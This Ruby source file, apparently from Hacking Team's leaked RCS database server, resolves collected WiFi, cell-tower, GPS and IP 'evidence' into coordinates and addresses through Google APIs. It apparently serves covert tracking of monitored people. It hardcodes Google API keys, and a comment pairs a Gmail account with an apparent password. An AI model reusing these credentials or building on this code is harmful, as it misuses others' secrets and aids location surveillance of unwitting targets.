hackedteam/rcs-db

View on GitHub
lib/rcs-db/position/resolver.rb

Summary

Maintainability
C
1 day
Test Coverage
#
#  Class for translating locations (cell, wifi, ip) into coordinates
#

require_relative '../frontend'
require_relative '../statistics'
require_relative '../config'

# from RCS::Common
require 'rcs-common/trace'

require 'net/http'
require 'json'

module RCS
module DB

class PositionResolver
  extend RCS::Tracer
  
  @@cache = {}
  @@daily_requests = File.read(RCS::DB::Config.instance.file('gapi'))[8..-1].to_i rescue 0
  @@last_request = File.read(RCS::DB::Config.instance.file('gapi'))[0..7] rescue Time.now.strftime("%d%Y%m")

  class << self

    def valid_maintenance?
      LicenseManager.instance.check :maintenance
    end

    def position_enabled?
      Config.instance.global['POSITION']
    end

    def google_api_key
      # The api-key is linked to rcs.devel.map@gmail.com / rcs-devel0
      api_key = Config.instance.global['GOOGLE_API_KEY']
      #api_key ||= 'AIzaSyAmG3O2wuA9Hj2L5an-ofRndUwVSrqElLM'  # devel 100 a day
      api_key ||= 'AIzaSyBcx6gdqEog-p0WSWnlrtdGKzPF98_HVEM'   # paid 125.000 requests
      return api_key
    end

    def get(params)

      trace :debug, "Positioning: resolving #{params.inspect}"

      request = params.dup

      begin
        # skip resolution on request
        return {} unless position_enabled? and valid_maintenance?

        # check for cached values (to avoid too many external request)
        cached = get_cache params
        if cached
          trace :debug, "Positioning: resolved from cache #{cached.inspect}"
          StatsManager.instance.add gapi_cache: 1
          return cached
        end

        location = {}

        if request['ipAddress']
          ip = request['ipAddress']['ipv4']

          # check if it's a valid ip address
          return {} if /(?:[0-9]{1,3}\.){3}[0-9]{1,3}/.match(ip).nil? or private_address?(ip)

          # IP to GPS
          location = get_geoip(ip)
          # GPS to address
          location.merge! get_google_geocoding(location)

        elsif request['gpsPosition']
          location = request['gpsPosition']
          # GPS to address
          location.merge! get_google_geocoding(request['gpsPosition'])
          #location.merge! request['gpsPosition']
        elsif request['gpsTimezone']
          # GPS to timezone
          location = get_google_timezone(request['gpsTimezone'])
        elsif request['wifiAccessPoints'] or request['cellTowers']

          # reset the limit daily
          daily_limit_reset if last_request_yesterday?

          # add to the stats here, so we can see how many were requested in a day
          # even if the quota was reached. useful to tune the license
          StatsManager.instance.add gapi: 1

          # enforce a daily limit on the number of requests
          raise "Your daily quota of google api requests has been reached (#{@@daily_requests}/#{daily_limit})" if daily_limit_reached?

          # wireless to GPS
          location = get_google_geoposition(request)

          # count the daily requests
          daily_limit_consume

          # avoid too large ranges, usually incorrect positioning
          if not location['accuracy'].nil? and location['accuracy'] > 15000
            raise "not enough accuracy: #{location.inspect}"
          end

          # GPS to address
          location.merge! get_google_geocoding(location)

          trace :debug, "Positioning: resolved #{location.inspect}"

        else
          raise "Don't know what to search for"
        end

        # remember the response for future requests
        put_cache(params, location)

        return location
      rescue Exception => e
        trace :warn, "Error retrieving position: #{e.message}"
        trace :debug, "#{e.backtrace.join("\n")}"
        return {}
      end
    end

    def get_google_geoposition(request)
      # https://developers.google.com/maps/documentation/business/geolocation/
      Timeout::timeout(5) do
        response = Frontend.proxy('POST', 'https', 'www.googleapis.com', "/geolocation/v1/geolocate?key=#{google_api_key}", request.to_json, {"Content-Type" => "application/json"})
        response.kind_of? Net::HTTPSuccess or raise(response.body)
        resp = JSON.parse(response.body)
        raise('invalid response') unless resp['location']
        {'latitude' => resp['location']['lat'], 'longitude' => resp['location']['lng'], 'accuracy' => resp['accuracy']}
      end
    end

    def get_google_geocoding(request)
      # https://developers.google.com/maps/documentation/geocoding/#ReverseGeocoding
      Timeout::timeout(5) do
        response = Frontend.proxy('GET', 'http', 'maps.googleapis.com', "/maps/api/geocode/json?latlng=#{request['latitude']},#{request['longitude']}&sensor=false")
        response.kind_of? Net::HTTPSuccess or raise(response.body)
        resp = JSON.parse(response.body)
        raise('invalid response') unless resp['results']
        {'address' => {'text' => resp['results'].first['formatted_address']}}
      end
    end

    def get_google_timezone(request)
      # https://developers.google.com/maps/documentation/timezone/
      Timeout::timeout(5) do
        response = Frontend.proxy('GET', 'https', 'maps.googleapis.com', "/maps/api/timezone/json?location=#{request['latitude']},#{request['longitude']}&timestamp=#{Time.now.getutc.to_i}&sensor=false")
        response.kind_of? Net::HTTPSuccess or raise(response.body)
        resp = JSON.parse(response.body)
        raise('invalid response') unless resp['status'] == 'OK'
        {'timezone' => resp }
      end
    end

    def get_geoip(ip)
      Timeout::timeout(5) do
        response = Frontend.proxy('GET', 'http', 'geoiptool.com', "/webapi.php?type=1&IP=#{ip}")
        response.kind_of? Net::HTTPSuccess or raise(response.body)
        resp = response.body.match /onLoad=.crearmapa([^)]*)/
        coords = resp.to_s.split('"')
        raise('not found') if (coords[3] == '' and coords[1] == '') or coords[3].nil? or coords[1].nil?
        {'latitude' => coords[3].to_f, 'longitude' => coords[1].to_f, 'accuracy' => 20000}
      end
    end

    def get_cache(request)
      @@cache[request.hash]
    end

    def put_cache(request, response)
      @@cache[request.hash] = response
    end

    def last_request_yesterday?
      @@last_request != Time.now.strftime("%d%Y%m")
    end

    def daily_limit_reset
      @@daily_requests = 0
      @@last_request = Time.now.strftime("%d%Y%m")
      File.open(RCS::DB::Config.instance.file('gapi'), "w") {|f| f.write @@last_request + "0"}
    end

    def daily_limit_consume
      @@daily_requests += 1
      File.open(RCS::DB::Config.instance.file('gapi'), "w") {|f| f.write @@last_request + @@daily_requests.to_s}
    end

    def daily_limit
      LicenseManager.instance.limits[:gapi] || 100
    end

    def daily_limit_reached?
      trace :info, "Google API request (#{@@daily_requests}/#{daily_limit})"
      @@daily_requests > daily_limit
    end

    def decode_evidence(data)

      case data['type']
        when 'GPS'
          q = {map: {'gpsPosition' => {'latitude' => data['latitude'], 'longitude' => data['longitude']}}}
        when 'WIFI'
          towers = []
          data['wifi'].each do |wifi|
            towers << {macAddress: wifi['mac'], signalStrength: wifi['sig']}
          end
          q = {map: {'wifiAccessPoints' => towers}}
        when 'GSM'
          q = {map: {'cellTowers' => [
              {mobileCountryCode: data['cell']['mcc'], mobileNetworkCode: data['cell']['mnc'], locationAreaCode: data['cell']['lac'], cellId: data['cell']['cid'], signalStrength: data['cell']['db'], timingAdvance: data['cell']['adv'], age: data['cell']['age']}
          ], radioType: 'gsm'}}
        when 'CDMA'
          q = {map: {'cellTowers' => [
              {mobileCountryCode: data['cell']['mcc'], mobileNetworkCode: data['cell']['sid'], locationAreaCode: data['cell']['nid'], cellId: data['cell']['bid'], signalStrength: data['cell']['db'], timingAdvance: data['cell']['adv'], age: data['cell']['age']}
          ], radioType: 'cdma'}}
        when 'IPv4'
          q = {map: {'ipAddress' => {'ipv4' => data['ip']}}}
      end

      PositionResolver.get q[:map]
    end

    def private_address?(ip)
      return true if ip.start_with?('127.')
      return true if ip.start_with?('10.')
      return true if ip.start_with?('169.254')
      return true if ip.start_with?('192.168.')
      prefix = ip.slice(0..5)
      return true if prefix >= '172.16' and prefix <= '172.31'

      return false
    end

  end

end


end #DB::
end #RCS::